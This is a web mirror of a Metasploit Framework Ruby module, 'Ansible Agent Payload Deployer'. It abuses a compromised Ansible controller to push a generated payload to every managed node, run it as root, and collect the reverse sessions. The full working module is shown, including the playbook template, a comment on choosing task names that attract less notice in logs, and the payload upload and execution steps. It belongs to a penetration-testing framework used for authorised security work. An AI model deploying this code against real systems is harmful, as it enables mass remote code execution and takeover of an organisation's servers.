CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/linux/local/ansible_node_deployer.rb
Views: 11783
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Local
7
Rank = GoodRanking
8
9
include Msf::Post::File
10
include Msf::Exploit::EXE
11
include Msf::Exploit::FileDropper
12
include Msf::Exploit::Local::Ansible
13
14
prepend Msf::Exploit::Remote::AutoCheck
15
16
def initialize(info = {})
17
super(
18
update_info(
19
info,
20
'Name' => 'Ansible Agent Payload Deployer',
21
'Description' => %q{
22
This exploit module creates an ansible module for deployment to nodes in the network.
23
It creates a new yaml playbook which copies our payload, chmods it, then runs it on all
24
targets which have been selected (default all).
25
},
26
'License' => MSF_LICENSE,
27
'Author' => [
28
'h00die', # msf module
29
'n0tty' # original PoC, analysis
30
],
31
'Platform' => [ 'linux' ],
32
'Stance' => Msf::Exploit::Stance::Passive,
33
'Arch' => [ ARCH_X86, ARCH_X64 ],
34
'SessionTypes' => [ 'shell', 'meterpreter' ],
35
'Targets' => [[ 'Auto', {} ]],
36
'Privileged' => true,
37
'References' => [
38
[ 'URL', 'https://github.com/n0tty/Random-Hacking-Scripts/blob/master/pwnsible.sh'],
39
[ 'URL', 'https://web.archive.org/web/20180220031610/http://n0tty.github.io/2017/06/11/Enterprise-Offense-IT-Operations-Part-1'],
40
],
41
'DisclosureDate' => '2017-06-12', # pwnsible script but prob way before that
42
'DefaultTarget' => 0,
43
'Passive' => true, # this allows us to get multiple shells calling home
44
'Notes' => {
45
'Stability' => [CRASH_SAFE],
46
'Reliability' => [REPEATABLE_SESSION],
47
'SideEffects' => [CONFIG_CHANGES, ARTIFACTS_ON_DISK]
48
}
49
)
50
)
51
register_options [
52
OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ]),
53
OptString.new('HOSTS', [ true, 'Which ansible hosts to target', 'all' ]),
54
OptBool.new('CALCULATE', [ true, 'Calculate how many boxes will be attempted', true ]),
55
OptString.new('TargetWritableDir', [ true, 'A directory where we can write files on targets', '/tmp' ]),
56
OptInt.new('ListenerTimeout', [ true, 'The maximum number of seconds to wait for new sessions', 60 ])
57
]
58
end
59
60
def module_contents(payload_name)
61
# The `name` field in `tasks` is a required field, and it gets logged, so randomizing may be a little too obvious, I've opted for just numbers in this case.
62
"- name: #{Rex::Text.rand_text_numeric(3..6)}
63
hosts: #{datastore['HOSTS']}
64
remote_user: root
65
tasks:
66
- name: 1
67
ansible.builtin.copy:
68
src: #{datastore['WritableDir']}/#{payload_name}
69
dest: #{datastore['TargetWritableDir']}/#{payload_name}
70
- name: 2
71
ansible.builtin.file:
72
path: #{datastore['TargetWritableDir']}/#{payload_name}
73
owner: root
74
group: root
75
mode: '0700'
76
- name: 3
77
command: #{datastore['TargetWritableDir']}/#{payload_name}
78
- name: 4
79
file:
80
path: #{datastore['TargetWritableDir']}/#{payload_name}
81
state: absent
82
"
83
end
84
85
def check
86
return CheckCode::Safe('Ansible does not seem to be installed, unable to find ansible executable') if ansible_playbook_exe.nil?
87
88
CheckCode::Appears('ansible playbook executable found')
89
end
90
91
def ping_hosts_print
92
results = ping_hosts
93
if results.nil?
94
print_error('Unable to parse ping hosts results')
95
return
96
end
97
98
columns = ['Host', 'Status', 'Ping', 'Changed']
99
table = Rex::Text::Table.new('Header' => 'Ansible Pings', 'Indent' => 1, 'Columns' => columns)
100
101
count = 0
102
results.each do |match|
103
table << [match['host'], match['status'], match['ping'], match['changed']]
104
count += 1 if match['ping'] == 'pong'
105
end
106
print_good(table.to_s) unless table.rows.empty?
107
# give the user a few seconds to cancel if its too many etc
108
print_good("#{count} ansible hosts were pingable, and will attempt to execute payload. If this isn't an expected volume (too many), ctr+c to halt execution. Pausing 10 seconds.")
109
Rex.sleep(10)
110
end
111
112
def exploit
113
# Make sure we can write our exploit and payload to the local system
114
fail_with Failure::BadConfig, "#{datastore['WritableDir']} is not writable" unless writable? datastore['WritableDir']
115
ping_hosts_print if datastore['CALCULATE']
116
117
payload_name = rand_text_alphanumeric(5..10)
118
module_name = rand_text_alphanumeric(5..10)
119
120
print_status('Creating yaml job to execute')
121
yaml_file = "#{datastore['WritableDir']}/#{module_name}.yaml"
122
write_file(yaml_file, module_contents(payload_name))
123
register_file_for_cleanup(yaml_file)
124
print_status('Writing payload')
125
upload_and_chmodx "#{datastore['WritableDir']}/#{payload_name}", generate_payload_exe
126
register_file_for_cleanup("#{datastore['WritableDir']}/#{payload_name}") # cleanup payload on host, not targets
127
print_status('Executing ansible job')
128
resp = cmd_exec("#{ansible_playbook_exe} #{yaml_file}")
129
playbook_log = store_loot('ansible.playbook.log', 'text/plain', session, resp, 'ansible.playbook.log', 'Ansible playbook log')
130
print_good("Stored run logs to: #{playbook_log}")
131
# stolen from exploit/multi/handler
132
stime = Time.now.to_f
133
timeout = datastore['ListenerTimeout'].to_i
134
loop do
135
break if timeout > 0 && (stime + timeout < Time.now.to_f)
136
137
Rex::ThreadSafe.sleep(1)
138
end
139
end
140
141
end
142
143